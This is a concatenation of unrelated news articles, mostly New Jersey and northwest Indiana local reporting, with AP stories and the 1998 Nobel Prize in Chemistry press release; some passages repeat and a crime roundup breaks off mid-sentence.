One mother who posted on the petition called the situation "outrageous."

"This does not warrant a resignation!" she wrote. "My son said he is a fantastic teacher and has an amazing personality! Someone you love being around!"

Another poster said it would be a "huge mistake on the Board of Education's part" for Ventre to lose his job over showing the video.

"God forbid a teacher use a topical and funny skit to get students engaged in a political discussion," the post said. "It seems like he was just trying to actually educate and involve the kids, which is more than can be said for most teachers."

Ventre reportedly did not respond to requests for comment and school administrators also declined to comment due it being a personnel issue that "pertains to a staff member's letter of resignation and is confidential," New 12 reported.

Rob Spahr may be reached at rspahr@njadvancemedia.com. Follow him on Twitter @TheRobSpahr. Find NJ.com on Facebook.
MIDDLETOWN - The Middletown High School South teacher who was reportedly forced to resign after he showed his class a video critical of Republican presidential front-runner Donald Trump, may not be out of a job after all.

Joseph Ventre, a history teacher at the Monmouth County high school, was asked for his resignation after at least one parent complained that he showed a video from HBO's "John Oliver's Last Week Tonight" that lampooned Trump, multiple news outlets reported.

John Oliver criticizes Donald Trump on "Last Week Tonight" on Sunday.

The New York Post reported that sources said school administrators asked for Ventre's resignation after receiving the complaint or complaints over the video, and that he agreed to step down after the school year.

However, William George III - superintendent of the Middletown Township School District - said that the staff member withdrew his resignation on Friday morning and that "there is no action regarding this employee before the board at this time," Patch reported.

George said that beyond that, information regarding the staff member's personnel status and performance was legally protected, the website reported.

In the video in question, which has been viewed more than 24 million times on YouTube since Feb. 28, Oliver criticizes Trump for a variety of his assertions and business deals.

No other political videos featuring other presidential candidates were shown in class, News 12 reported.

Many parents and students subsequently stepped up in support of Ventre, reportedly packing a Board of Education meeting on Wednesday and an online petition to save his job had collected more than 2,800 signatures as of Friday afternoon.

"Although this is a violation of his contract this should not end his career at South," said one of Ventre's students, who started the petition. "As a student in Mr. Ventre's history class I have learned more about life and history than ever before. He has an extremely positive effect on the lives of students in and out of his classes."

One mother who posted on the petition called the situation "outrageous."

"This does not warrant a resignation!" she wrote. "My son said he is a fantastic teacher and has an amazing personality! Someone you love being around!"

Another poster said it would be a "huge mistake on the Board of Education's part" for Ventre to lose his job over showing the video.

"God forbid a teacher use a topical and funny skit to get students engaged in a political discussion," the post said. "It seems like he was just trying to actually educate and involve the kids, which is more than can be said for most teachers."

Ventre reportedly did not respond to requests for comment and school administrators also declined to comment due it being a personnel issue that "pertains to a staff member's letter of resignation and is confidential," New 12 reported.

Rob Spahr may be reached at rspahr@njadvancemedia.com. Follow him on Twitter @TheRobSpahr. Find NJ.com on Facebook.
Disputes between two sets of neighbors at opposite ends of the state turned ugly in the past week.

In one altercation, a North Jersey woman allegedly attacking someone next door with a butcher knife. In the other, a South Jersey man is accused of hitting his neighbor in the head with a shovel.

Those two are among a collection of people either charged with, indicted for, convicted of or sentenced in a wide array of crimes that made news across New Jersey in the past week.

Click through the gallery above to catch up on any law and order news you might have missed. Here's some of what's there:

A Jersey City woman was

A 46-year-old Pittsgrove man was charged with aggravated assault after

A 29-year-old Mercer County woman who

A 54-year-old Newark man and his two 24-year-old cousins were arrested for allegedly

The 20-year-old overnight manager of a CVS in North Plainfield is accused of using a rifle to

In a much more lucrative alleged heist, an Edgewater man

State Police busted two out-of-state men who they say had about

A 26-year-old North Bergen man was arrested and charged with

Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook.
Press release

English

Swedish

13 October 1998

The Royal Swedish Academy of Sciences has awarded the 1998 Nobel Prize in Chemistry to

Professor Walter Kohn, University of California at Santa Barbara, USA and,

Professor John A. Pople, Northwestern University, Evanston, Illinois, USA (British citizen).

The Laureates have each made pioneering contributions in developing methods that can be used for theoretical studies of the properties of molecules and the chemical processes in which they are involved.

Citation:

to Walter Kohn for his development of the density-functional theory and to John Pople for his development of computational methods in quantum chemistry.

Development of computational methods in chemistry awarded

Researchers have long sought methods for understanding how bonds between the atoms in molecules function. With such methods it would be possible to calculate the properties of molecules and the interplay between them. The growth of quantum mechanics in physics at the beginning of the 1900s opened new possibilities, but applications within chemistry were long in coming. It was not practically possible to handle the complicated mathematical relations of quantum mechanics for such complex systems as molecules.

One of the founders of quantum physics, Dirac, expressed the problem in 1929 as follows: The fundamental laws necessary for the mathematical treatment of large parts of physics and the whole of chemistry are thus fully known, and the difficulty lies only in the fact that application of these laws leads to equations that are too complex to be solved.

Things began to move at the beginning of the 1960s when computers came into use for solving these equations and quantum chemistry (the application of quantum mechanics to chemical problems) emerged as a new branch of chemistry. As we approach the end of the 1990s we are seeing the result of an enormous theoretical and computational development, and the consequences are revolutionising the whole of chemistry. Walter Kohn and John Pople are the two most prominent figures in this process. W.Kohns theoretical work has formed the basis for simplifying the mathematics in descriptions of the bonding of atoms, a prerequisite for many of todays calculations. J. Pople developed the entire quantum-chemical methodology now used in various branches of chemistry.

Computer-based calculations are now used generally to supplement experimental technics. For several decades they have been developed and refined so that it is now possible to analyse the structure and properties of matter in detail. Conventional calculation of the properties of molecules is based on a description of the motion of individual electrons. For this reason, such methods are mathematically very complicated. Walter Kohn showed that it is not necessary to consider the motion of each individual electron: it suffices to know the average number of electrons located at any one point in space. This has led to a computationally simpler method, the density-functional theory. The simplicity of the method makes it possible to study very large molecules. Today, for example, calculations can be used to explain how enzymatic reactions occur. It has taken more than thirty years for a large number of researchers to render these calculations practicable, and the method is now one of the most widely used in quantum chemistry.

John Pople is rewarded for developing computational methods making possible the theoretical study of molecules, their properties and how they act together in chemical reactions. These methods are based on the fundamental laws of quantum mechanics as defined by, among others, the physicist E. Schrodinger. A computer is fed with particulars of a molecule or a chemical reaction and the output is a description of the properties of that molecule or how a chemical reaction may take place. The result is often used to illustrate or explain the results of different kinds of experiment. Pople made his computational technics easily accessible to researchers by designing the GAUSSIAN computer program. The first version was published in 1970. The program has since been developed and is now used by thousands of chemists in universities and commercial companies the world over.

Quantum chemistry  a background

The laws of quantum mechanics as formulated more than 70 years ago make it theoretically possible to understand and calculate how electrons and atomic nuclei interact to build up matter in all its forms. The task of quantum chemistry is to exploit this knowledge to describe the molecular system. This has proved easier said than done. It was not until the beginning of the 1960s that development really started, when two events became decisive. One was the development of an entirely new theory for describing the spatial distribution of electrons, and the other was the use of the increasing potential offered by the computer. Walter Kohn showed in 1964 that the total energy for a system described by the laws of quantum mechanics can be theoretically calculated if the electrons spatial distribution (electron density) is known. The question is only how the energy depends on the density. Kohn gave important clues based on what this dependence looked like in an imaginary system with free electrons. It was to take several decades and contributions from many researchers, however, before the equation for determining the energy was sufficiently accurately mapped to permit large-scale studies of molecular systems. This has taken place partly through the adaptation of a small number of variables to experimental data. The method Kohn introduced came to be known as the density-functional theory. It is now used in studies of numerous chemical problem areas, from calculating the geometrical structure of molecules (i.e. bonding distance and angles) to mapping chemical reactions.

During the 1960s many research groups in Europe and the USA started feverishly to exploit the great potential of the computer. New methods of computation were developed and refined. John Pople was a leading figure in this field. He realised that if theoretical methods were to gain any significance within chemistry it was necessary to know how accurate the results are in any given case. In addition, they must be easy to use and not too demanding of resources. Through significant improvements in the theoretical methodology at the end of the 1960s Pople designed a computer program which at a number of decisive points was superior to others efforts. The prerequisites mentioned above could now be fulfilled and GAUSSIAN-70, as the program was called, very soon became widely used. Pople continued during the 1970s and 1980s to refine the methodology, at the same time building up a well-documented model chemistry. Here he was able at the beginning of the 1990s to include Kohns density-functional theory. By these means new possibilities opened up for analysing ever-more complex molecules.

Applications of quantum chemistry

Quantum chemistry is today used within all branches of chemistry and molecular physics. As well as producing quantitative information on molecules and their interactions, the theory also affords deeper understanding of molecular processes that cannot be obtained from experiments alone. Theory and experimentation combine today in the search for understanding of the inner structure of matter. How is then a quantum-chemical calculation carried out?

Let us take the example of the amino acid cystein, illustrated above. How do we produce that image? We sit in front of the computer and start the quantum chemistry program. From the menu we select a molecule in which a carbon atom (C) is bound to a hydrogen atom (H), an amino group (NH 2 ), a thiolathomethyl group CH 2 SH) and a carboxyl group (COOH). The computer draws a rough picture of the molecule on the screen. We now instruct the computer to determine the geometry of the molecule with a quantum-chemical calculation. This can take a minute or so if we are content with a rough result, but up to a day if we desire high accuracy. The screen picture gradually changes towards greater accuracy up to a predetermined level. When this operation is finished we can ask the computer to calculate different properties for the system. In the illustration above we have calculated a surface with constant electron density. The surface is coloured according to the value of the electrostatic potential. This can be used, for example, to predict how the molecule interacts with other molecules and charges in its environment. Such information may be used to study how proteins (which are built up of amino acids) interact with different substrates, e.g. in pharmaceuticals.

Another example may be taken from the universe, in which, apart from stars and planets, there are great quantities of interstellar matter, often collected in vast clouds. What does this matter consist of? It can be studied from the Earth through the radiation the molecules emit. The radiation occurs because the molecules rotate. Hence it is possible using the frequency spectrum of the radiation to determine the composition and appearance of the molecules. This, however, is an immensely difficult task, particularly since these molecules cannot always be produced in the laboratory so as to obtain material for comparative studies. Quantum chemistry, however, does not suffer from such limitations. Calculations based on assumed structures can give information on radio emission frequencies that can be directly compared with data collected by the radio telescope. In this way, theory and measurement together can give information on the molecular composition of interstellar matter.

Another example. High up in the atmosphere there is a thin layer of ozone molecules that protect us from ultra-violet radiation from the sun. Substances that we release into the atmosphere (e.g. freons) can lead to the destruction of the ozone layer. How does it happen? Which chemical reactions are involved? With quantum-chemical computation we can describe them in detail and thus understand them. This knowledge may help us to take steps to make our atmosphere cleaner.

Quantum chemistry is used nowadays in practically all branches of chemistry, always with the aim of increasing our knowledge of the inner structure of matter. The scientific work of Walter Kohn and John Pople has been crucial for the development of this new field of research.

Further reading Additional background material on the Nobel Prize in Chemistry 1998, The Royal Swedish Academy of Sciences. E.K. Wilson, Theoretical Chemistry Expands and Diversifies Across Chemical Disciplines, Chemical & Engineering News, August 19, 1996. J.H. Krieger, Computational Chemistry Impact, Chemical & Engineering News, May 12, 1997. W.J. Hehre, L. Radom, P. v. R. Schleyer och J.A. Pople, Ab Initio Molecular Orbital Theory, John Wiley & Sons, New York, 1986. R.G. Parr and W. Yang, Density-Functional Theory of Atoms and Molecules, Oxford Science, Oxford, 1989. Encyclopaedia of Computational Chemistry (ed. Paul v. R. Schleyer), John Wiley & Sons,

New York, 1998.

Walter Kohn was born in Vienna, Austria, in 1923. He was a professor at the Carnegie Institute of Technology in Pittsburgh, USA between 1950 and 1960 and at the University of California in San Diego from 1960 to 1979. He was Director of the Institute for Theoretical Physics in Santa Barbara, where he is still active, from 1979-1984.

Professor Walter Kohn

Department of Physics

University of California at Santa Barbara

CA 93106, USA

John A. Pople was born in Burnham-on-Sea in Somerset, U.K. in 1925. British citizen. He became Ph.D. in Mathematics at Cambridge, U.K., in 1951. In 1964 he became Professor of Chemical Physics at Carnegie-Mellon University, Pittsburgh, USA and subsequently Professor of Chemistry at Northwestern University, USA, in 1986, where he is still active.

Professor John A. Pople

Northwestern University

Department of Chemistry

2145 Sheridan Road

Evanston, IL 60208, USA

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Prince was paid $500 for playing Ole Man Rivers in 1979 in Avondale. The receipt is signed by his road manager.
WASHINGTON (AP)  The House committee investigating the Jan. 6 attack on the U.S. Capitol has issued a subpoena to Donald Trump. The nine-member panel sent a letter to the former president's lawyers on Friday, demanding his testimony under oath by mid-November and outlining a series of corresponding documents. The decision by lawmakers to exercise their subpoena power comes a week after the committee made its final case against the former president, who they say is the "central cause" of the multi-part effort to overturn the results of the 2020 election. It remains unclear how Trump and his legal team will respond to the subpoena, if at all.
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NEW YORK (AP)  Growing up in Oklahoma, Becky Hobbs noticed some of her Cherokee elders wouldnt even touch a $20 bill because they so despised Andrew Jackson. To this day, the 66-year-old songwriter pokes him in the face whenever she gets one.

For Hobbs and many other Native Americans, the U.S. Treasurys decision to replace Jacksons portrait with Harriet Tubmans is a hugely meaningful change.

A slave-owning president who forced Cherokees and many other Indian nations on deadly marches out of their southern homelands, being succeeded by an African-American abolitionist who risked her life to free others? Unprecedented.

Were just thrilled that Andrew Jackson has had a removal of his own, said Hobbs. The constant reminder of Andrew Jackson being glorified is sad and sickening to our people.

The Obama administrations decision is groundbreaking in many ways  there hasnt been a woman on paper money in over a century, and theres never been an African-American. Change also is coming to other bills: The history-making appearances of Martin Luther King, Jr., and opera singer Marian Anderson at the Lincoln Memorial will be displayed on the back of the $5 bill, and suffragettes marching for the right of women to vote will appear on the steps of the U.S. Treasury, on the back of the $10 bill.

But Tubmans arrival is the one many people have been hoping for, much to the dismay of Jackson supporters, and it comes amid ongoing, emotional debates about other symbols Americans choose to honor, like the Confederate flags and statues being removed from public life in places across the South.

Every time you pick up that $20 bill, its a reminder that we cant ignore or pretend like we didnt have 400 years of slavery, said Amrita Myers, a historian at Indiana University who focuses on 19th century black women.

Not only is this going to be the first African-American historical figure on U.S. currency, but its a woman specifically from the era of slavery, Myers explained. We still live in a nation that doesnt like to acknowledge its history of racial and gender oppression. Black women experience those things simultaneously.

Making the change on currency is especially powerful, said Suzan Shown Harjo, president of the Morning Star Institute, a Native rights organization.

A country usually puts forward its best when it shows the world the people on a stamp or on money, said Harjo, who is both Cheyenne and Muskogee. Theyre really saying, this is what we want you to think of us ... these are our best people.

Compared to all his predecessors, Jackson, who served from 1828-1836, arrived at the White House as a self-made everyman whose populist message resonated with a country still solidifying its democracy a half-century after declaring independence. But for Native Americans, Jackson stands for genocide  the polar opposite of a unifying figure.

Hes not the poster boy for America, and its good to see it changed, said Bill John Baker, principal chief of the Cherokee Nation.

Baker points out that a fourth of the Cherokees died after Jackson and his troops forced them onto what became known as the Trail of Tears. Other tribes that were forced to move to reservations in Oklahoma and beyond include the Seminoles, Chickasaw, Choctaw and Muscogee-Creek.

Many Americans still celebrate Jackson for his victory over the British during the War of 1812. Gen. Jackson then orchestrated the invasion of Florida in 1818, and convinced the Spanish government a year later to give up the territory. Along the way, he warred against Native Americans  although some were his allies for brief periods  and his 1830 Indian Removal Act expanded U.S. territory at a critical time.

As horrible a policy as it was, it was something that was widely appreciated by many voters at the time, said Andrew Frank, a historian at Florida State University.
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EAST CHICAGO Ground will be broken for the Cline Avenue Bridge operations and maintenance building on May 26, the first tangible sign a new bridge will be going up.

Its off to the races, East Chicago Mayor Anthony Copeland said on Thursday.

The ground breaking will be off of Riley Road near the bridge and open to the public, Copeland said. Linda Figg, CEO of the Figg Group, will attend along with local elected officials and others.

The Figg Group, of Tallahassee, Florida, owns the right of way to the Cline Avenue bridge, which was demolished in 2013. The bridge was condemned in 2009 after engineers found it to be gravely weakened.

The Indiana Department of Transportation subsequently turned the right of way over to the Figg Group in a land swap.

The new bridge will be entirely financed by Figg Groups business partners. It has an expected cost of between $150 and $250 million. Once open, tolls are expected to be between $2.25 to $3.50 for automobiles.

The building of the bridge has been subject to numerous delays over the years, with plans to begin building in the spring of 2013 never materializing.
MERRILLVILLE  I want you to get social.

Douglas Karr, founder of the Marketing Technology Blog, CEO and founder of DK New Media and author of Corporate Blogging for Dummies, delivered that message about social media at the 2016 Business Speakers Series Luncheon Thursday at the Radisson Hotel at Star Plaza.

Social media has changed the face of marketing, how companies use their sales force and how customers purchase goods and services, Karr said.

Your sales people have to be absolute experts (on social media), he said. You have to establish your company as a trusted authority and you have to do this online. Your network is the whole globe.

Among the types of social media that companies can use include video outlets such as Blab, Periscope, YouTube and Facebook Live.

Based in Indianapolis, Karr has been recognized internationally for his expertise in digital marketing. His firm has worked with some of the largest brands in the world including GoDaddy, Angies List, the Indianapolis Colts and Delta Faucet.

Hosted by the Indiana University Northwest School of Business and Economics and the IU Northwest Business Alliance, the 11th annual fundraising event drew area business people, healthcare workers, political leaders and students and faculty from IUN.

During welcoming remarks for the luncheon, IUN Chancellor William J. Lowe said community engagement such as Thursdays event is the hallmark of the universitys commitment to advancing educational opportunities, while addressing regional priorities.

It is truly gratifying to see so many of you, as business leaders, reaching back to our campus on a regular basis in substantive ways that make a real difference in the lives of our students, he said.

Karr expanded on that theme of engagement, illustrating how social media is changing the very foundations of marketing.

In 2016, new cars are coming with apps for audio podcasts, Karr said, adding that tweets and blog posts also provide opportunities for text marketing.
CROWN POINT  A judge Friday denied the request from a suspected serial killer to separate two murder cases he is scheduled to stand trial for July 25.

Darren D. Vann, 44, faces murder charges in the strangling deaths of Afrikka Hardy and Anith Jones. The Lake County prosecutors office is seeking the death penalty against him.

During a brief hearing, Cappas denied the defenses motion to separate the cases, which would have meant two separate jury trials. Vann was not in court Friday after he filed a waiver of right to appear in court.

But Fridays hearing did not seem to mark the end of the issue.

Defense attorney Gojko Kasich, who along with Matthew Fech and Mark Bates represents Vann, asked Cappas to certify his findings of fact in the decision, because the defense intends to file an interlocutory appeal. That means the defense will ask a higher court to review the matter.

The defense had argued Vann could be convicted in one of the homicides based on evidence from the other homicide, because of the complexity of the evidence. They also argued that the states determination of the motives in the homicides are distinct.

The Lake County prosecutors office had argued Hardy was killed when the sex they were having became rough, and it was thus a rage killing, according to court records.

Hardy, 19, had arranged to meet Vann at a Hammond motel room after communicating via backpage.com, according to court records. Her friends called police after they found her strangled to death inside the motel room.

Jones, 35, of Merrillville, had arranged to meet Vann at a vacant Merrillville home where Vann allegedly killed her, according to court records. He later left her body at an abandoned home in Gary.

In that homicide, the state alleges Vann was offered money and drugs to kill Jones.

Prosecutors argued the homicides were part of a single scheme. They also argued Vann used the same brown cord to kill both women. However, the defense argued there wasnt enough DNA evidence to prove that the women were killed with the same cord.

Fridays hearing also focused on the details regarding medical testing Vann will have to undergo in two of his pending criminal cases, which are separate from the homicides. Depending on the results, the victims in those cases will be notified about Vanns medical results.

In one of the cases, Vann is accused of raping and attacking a woman he met on Feb. 19, 2014, in Gary after arranging to meet through backpage.com, according to court records.

The other case stems from when Vann on Feb. 24 allegedly threw urine and feces at a correctional officer in Lake County Jail.

In another separate case, Vann is facing murder charges in the homicides of Teaira Batey, Kristine Williams, Tracy L. Martin, Sonya Billingsley and Tanya Gatlin. All five women were found dead in vacant buildings in Gary in October 2014. The state is also seeking death sentences for Vann in that case.

His next court hearing in front of Cappas is scheduled for May 20.
PORTAGE  Lake County Councilman Jamal Washington barely escaped having his bond revoked and landing in jail Friday morning.

Special Prosecuting Attorney Stanley Levco had filed a motion to revoke Washingtons bond after he allegedly repeatedly contacted his wife disregarding a protection order and repeated warnings.

Instead, Porter Superior Court Judge Jeffrey Thode, who was appointed to president over Washingtons criminal charges, gave him a stern warning.

This court recognizes there is a compelling case for revocation of the bond. If it were only involving the criminal charges, there would likely be a revocation of the bond for the safety of the plaintiff, said Thode.

Instead, he denied the motion and amended Washingtons bond, ordering him to participate in anger management classes and to have no further contact with his wife.

I do not expect to have to address this again, said Thode.

Washington was arrested in December on felony charges of strangulation and domestic battery. In addition, he has been charged with three counts of invasion of privacy, all misdemeanors, the latest filed Friday by Levco, for his alleged continuous contacts with his wife.

Washingtons wife testified Friday that her husband, had contacted her via text messages after the protective order was issued Dec. 4. She said none of the contacts were threatening.

Initial charges of invasion of privacy were then filed, but Washingtons wife said he continued to text her and she was contacted by her husbands brother and cousin on his behalf.

The Washingtons are also in the middle of a divorce.

Attorney Jennifer Cantrell, who represents Jamal Washington in the divorce and children in needs of services (CHINS) cases, said the CHINS case has been a procedural nightmare because of issues transferring the case to Porter County.

Because of that, said Cantrell, Jamal Washington has had no contact with his children since December, despite significant issues in the family.

He didnt know what was going on with his family, said Cantrell.

This has been the most unusual of circumstances, said Jamal Washingtons attorney Paul Stracci of Merrillville. He has been pushed outside the judicial process when it comes to the CHINS cases. He has been completely cut off.

In addition, Thode set July 22 for a pretrial hearing with a trail date of Aug. 25 and 26 on the felony charges.
A 28-year-old East Chicago man has been arrested in connection with vehicle break-ins at the East Chicago South Shore station, police said late Thursday.

The man had been under surveillance by the NICTD Transit Police and was arrested at 6:30 p.m. Thursday after police witnessed him attempting to sell stolen property from the trunk of his car at 138th Street and Euclid Avenue, a news release stated.

Six more vehicles were broken into Thursday and a total of 15 vehicles were burglarized during the two-day crime spree, police said.

Charges are expected to be filed Friday with the Lake County prosecutor's office. More information about the suspect is expected then.
GARY  A womans body was found in the basement of an abandoned house Thursday night after a person contacted Gary police with information about the location of a female, officials said.

Police from Merrillville, Garys Violent Crimes Unit and the Lake County Metro Homicide Unit were on the scene along with Lake County crime scene and coroners investigators.

The person, described as a verified source, first contacted Gary police about 4 p.m. about the female, Lt. Dawn Westerfield said.

Police from the different agencies then went to the abandoned home in the 1400 block of West 18th Avenue and located the body. No information about the condition of the body would be released Thursday night, Westerfield said.

Garbage lined the street in front of the house where the body was found, and much of the block was dark and wooded. A Gary firetruck was parked in front of the house to provide electricity for the lights investigators were using inside the house.

The womans identity could not be established Thursday night, police said.

Merrillville police have been searching for a missing mother, 23-year-old Diamond Lewis, since Saturday.

Lewis and her 2-month-old daughter, Morgan Williams, were reported missing by Lewis father, who had not spoken to Lewis since April 11. Merrillville police said the baby was found safe earlier this week in Gary.

Anyone with information on this incident is urged to contact Detective Alexander Jones of the Lake County Metro Homicide Unit at (219) 755-3855, Detective Nathaniel Dillahaunty at (219) 769-3531 ext. 364, Cmdr. Robert Wiley at (219) 769-3531 ext. 345 or Cmdr. Jeff Rice at (219) 769-3531 ext. 360 all of Merrillville Police Department.
INDIANAPOLIS  The Supreme Court unanimously affirmed Thursday Indianas long-standing requirement that a criminal defendant must personally waive his or her right to a jury trial for the waiver to be valid.

Prior to his 2014 trial for felony domestic battery, Adam Horton, 36, of West Point, Indiana, remained silent when Tippecanoe County Superior Judge Les Meade asked Hortons attorney whether Horton wanted a jury trial, where Hoosier citizens decide guilt, or a bench trial, where the judge alone decides.

The attorney said Horton was waiving his right to a jury trial. The judge then proceeded to conduct a bench trial where Horton was found guilty and received a two-and-a-half year sentence.

Chief Justice Loretta Rush, writing for the Supreme Court, ruled Meade committed fundamental error by not asking Horton personally whether he was waiving his right to a jury trial  a right guaranteed by both the U.S. and Indiana constitutions, as well as state law.

The personal waiver requirement ... eliminates an intolerable risk, said Rush, who lived in Munster as a child. It ensures that a felony prosecution will not proceed to a bench trial against the defendants will by demanding direct evidence that waiver is the defendants choice.

Given the high stakes of erroneous jury-trial deprivation and the low cost of confirming personal waiver, we see no reason to dilute our time-honored personal waiver requirement.

To correct the error, the high court reversed Hortons conviction and ordered a new trial.
CROWN POINT  A Lake County councilman is injecting scandal into a judicial race already spitting the local Democratic Party into opposing camps this spring.

Councilman Jamal Washington is calling on state officials to investigate Lake Circuit Court Judge George C. Paras. He claims the judge abused his authority concerning a court protective order imposed against Washington over domestic violence allegations.

Washington said he filed a complaint Wednesday with the Indiana Commission on Judicial Qualifications.

Washington claims Paras and his bailiff, David Uzelac, met Washington March 28 at a Merrillville restaurant to discuss stopping Washington's political ally, Gary City Councilwoman LaVetta Sparks-Wade, from supporting Marissa McDermott, who is challenging Paras in the May 3 Democratic primary. Washington also supports Marissa McDermott.

Washington said Paras during the conversation noted the protective order the judge earlier imposed on Washington, forbidding him from contacting a woman making domestic violence allegations against Washington.

Washington claims the woman had requested the court to lift the protective order, but Uzelac said the court hadn't acted on the request, to keep Washington "in check." Washington said he agreed to talk to Sparks-Wade, and the protective order was lifted the next day.

Paras called Washington's allegation "a total fabrication" and a last-ditch negative campaign tactic to oppose Paras' re-election.

Kathryn Dolan, a spokeswoman for the Supreme Court, said she couldn't confirm whether the commission received a complaint against Paras under its rules forbidding public disclosure of any complaint against a judge unless the commission finds enough evidence to later take action.

She said the commission received 372 complaints during its last fiscal year, but only took action in 22 cases. She said Paras is currently a judge in good standing with the Supreme Court.

The Lake Circuit Court clerk's office said it is consulting with its legal counsel to determine if it can release information about the protective order against Washington.

Paras said Thursday, "I met with him, but I had no idea his case was there. We didn't discuss that. He wanted to meet me. He wanted to support me. That is what he told Dave." Paras said the woman who filed the protective order lifted it, not him.

Washington also accuses Sheriff John Buncich, the county Democratic Party chairman and a Paras supporter, of also calling him to quiet Sparks-Wade's support for McDermott.

"That is a bald-faced lie," Buncich said.

Voters choose in less than two weeks among Paras, McDermott and Carrie Castro, as the Democratic candidate in the fall general election to preside over a court that handles hundreds of civil matters ranging from divorces to election law.

Paras has the endorsement of: Gary Mayor Karen Freeman-Wilson and other Gary officials, several area unions and the precinct organizations of Hobart, Merrillville-Ross Township, Griffith-Calumet Township, Dyer, Cedar Lake, Lake Station-New Chicago-Hobart Township, Highland, Gary and East Chicago.

McDermott, the wife of Hammond Mayor Thomas McDermott Jr., has won the Hammond precinct organization's support as well as endorsements from: Crown Point Mayor David Uran, Hobart Mayor Brian Snedecor, East Chicago City Clerk Adrian Santos, East Chicago City Councilman Richard Medina and Gary School Board President Antuwan Clemons.

Washington has his own personal scandal. Merrillville police have arrested him three times since December on allegations he battered his wife and a female co-worker, and then violated a protective order to have no contact with the alleged victims.

Washington has said he is involved in an emotionally charged divorce, but that police have overreacted.

A special judge and prosecutor were brought in from outside Lake County to hear Washington's domestic violence case, because it was so fraught with potential conflicts of interest.

Washington, who represents much of Gary, Merrillville and parts of St. John Township, is on the powerful County Council, which authorizes tax revenue for the prosecutor and all county courts.
HAMMOND  An Alsip, Illinois, man died Thursday after he lost control of his vehicle and it fell about 30 feet from a bridge on the Indiana Toll Road, police said.

Dwanye Jefferies, 56, may have suffered a medical condition before the crash, but officials were awaiting autopsy results, said Cpl. Chase Overbeeke, district duty officer for Indiana State Police for the Toll Road.

Jefferies was headed east on Interstate 90 near Calumet Avenue in a gray 2012 Chevrolet Equinox when he lost control for unknown reasons about 1:45 p.m. and his vehicle left the bridge, Overbeeke said.

He was the only person in the vehicle, which landed on its roof on Calumet Avenue.

Jefferies was extricated and taken to Franciscan St. Margaret Health hospital in Hammond, where he was pronounced dead at 2:09 p.m., according to the Lake County coroner's office.
MERRILLVILLE  The body of a woman found Thursday in the basement of an abandoned house in Gary has been identified as Diamond Lewis, who has been missing since Sunday.

Merrillville police said 23-year-old Lewis' death is being investigated as a homicide, and two people are in custody in connection with the death. Police said indications are the death is the result of domestic violence. Charges are pending.

Lewis and her 2-month-old daughter, Morgan Williams, were reported missing Sunday by Lewis father, who had not spoken to Lewis since April 11.

Lewis talks to her father regularly and it was unusual for her to be out of contact with him for more than a day or two, police said.

Merrillville police said the baby was found safe Tuesday in Gary.

The baby, Morgan Williams, was placed into the custody of Child Protective Services, police said. At the time, police declined to disclose who the child was found with, but said the baby was not injured.

Merrillville Detective Cmdr. Jeff Rice said both suspects were arrested Thursday. Rice said two women came to the Gary Police Department with information about Lewis' possible whereabouts. Gary contacted Merrillville police and both went to the abandoned house along with members of the Lake County Metro Homicide Unit and Gary's Violent Crimes Unit.

The house was in the 1400 block of West 18th Avenue. Rice said one of the people who came to the Gary police was arrested, and that person led police to the second person. The cause of death is still under investigation.

Check back at nwi.com for updates.
LAPORTE  LaPorte County residents will get a chance to meet and ask questions of the members of the county sheriffs department at 6:30 p.m. Thursday at the Coolspring Township Volunteer Fire Department.

This is the second town hall session held to give residents a chance to learn more about the departments daily operations. A question and answer period will provide residents the opportunity to talk to various division commanders and staff.

The sheriffs department is a major operation, Sheriff John Boyd said. We feel it is important that citizens meet with our deputies and gain a good understanding of how we utilize their tax dollars. We encourage anyone that has concerns or questions to stop by and visit with us at the fire station.

The Coolspring station is located at 7111 West County Road 400 North (the corner of Johnson Road and 400 North). Doors will open at 6 p.m.
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Porter Health Care System will present the following community wellness program in May. Registration is required. To register, call (800) 541-1861 or go to PorterHealth.com.

Are You Listening to Your Legs?

It is estimated that by the age of 65, up to 20 percent of the population will have peripheral artery disease, a circulatory problem in which there is partial or total blockage of an artery in a leg, arm or torso.

Interventional cardiologist Dr. Sandeep Sehgal will speak at 6 p.m. May 3 to discuss how PAD is diagnosed and the best treatment options. The free event will take place in the Community Room at Porter Regional Hospital, 85 E. U.S. 6 in Valparaiso. Attendees will have the opportunity to sign up for a free ankle-brachial index screening, a test to check for peripheral artery disease (PAD) of the legs.

The Green Facts: Achieving Your Best Health Possible

Preventive medicine is the key to protect, promote, and maintain health and well-being while preventing disease and disability. Join Dr. Maya Kommineni, Porters new cardiologist who takes a whole-body approach to preventive cardiac care, at 6 p.m. May 12 as she discusses new evidence and research about the worlds healthiest superfoods to help you achieve your best health possible. The free event will be in the Community Room at Porter Regional Hospital.
GET OUR APP Our Spectrum News app is the most convenient way to get the stories that matter to you. Download it here.
An investigation is prompting a new round of questions about the relationship between the mayor's campaign cash and his policy positions. NY1's Grace Rauh has the story.

When Bill de Blasio was running for office, he promised to ban horse-drawn carriages in the first week of his administration. Critics thought it was an odd priority for a politician focused on fighting income-inequality.

"When I started out, I actually had a kind of romantic notion about the horse carriages, that they were something positive," de Blasio said September 2013. "But the more I learned, the more uncomfortable I became."

While his fight against carriages has stalled, the mayor's opposition appears to have paid off on another front: the donors behind the effort to end the industry donated $100,000 to the mayor's non-profit group.

They also bankrolled an aggressive ad campaign against de Blasio's rival in the 2013 mayor's race, Christine Quinn, which helped clear the way for de Blasio.

When NY1 asked the mayor about the investigation, first reported in the Wall Street Journal, he defended his actions and insisted he had done nothing wrong.

"We follow the law very carefully in everything we do," de Blasio said. "And I ran very clearly for office saying this is a change we had to make in our city."

But de Blasio's crusade against horse carriages is only one example where big money intersects with the mayor's agenda.

The yellow taxi industry pumped more than $500,000 into the mayor's campaign, and then spent tens of thousands more on groups tied to de Blasio.

Last summer, the mayor went hard after the industry's chief competitor, Uber.

He proposed limiting the number of for-hire vehicles on city streets. After coming under fire from Uber-riding New Yorkers and others, he backed off.

One little-noticed case is detailed in a Politico New York story, "The Transactional Mayor Returns."

The head of a company that was trying to sell the city rat-repelling trash bags donated $100,000 to the mayor's non-profit. The city subsequently bought some.
When environmentalists proclaimed the first Earth Day, on this date in 1970, the air was filled with doomsday predictions. At the initial rallies to mark the day, people warned of overpopulation, a denuded planet, hundreds of millions of people starving to death, a new Ice Age or the greenhouse effect. Many  though not all, obviously  of those forecasts were off.

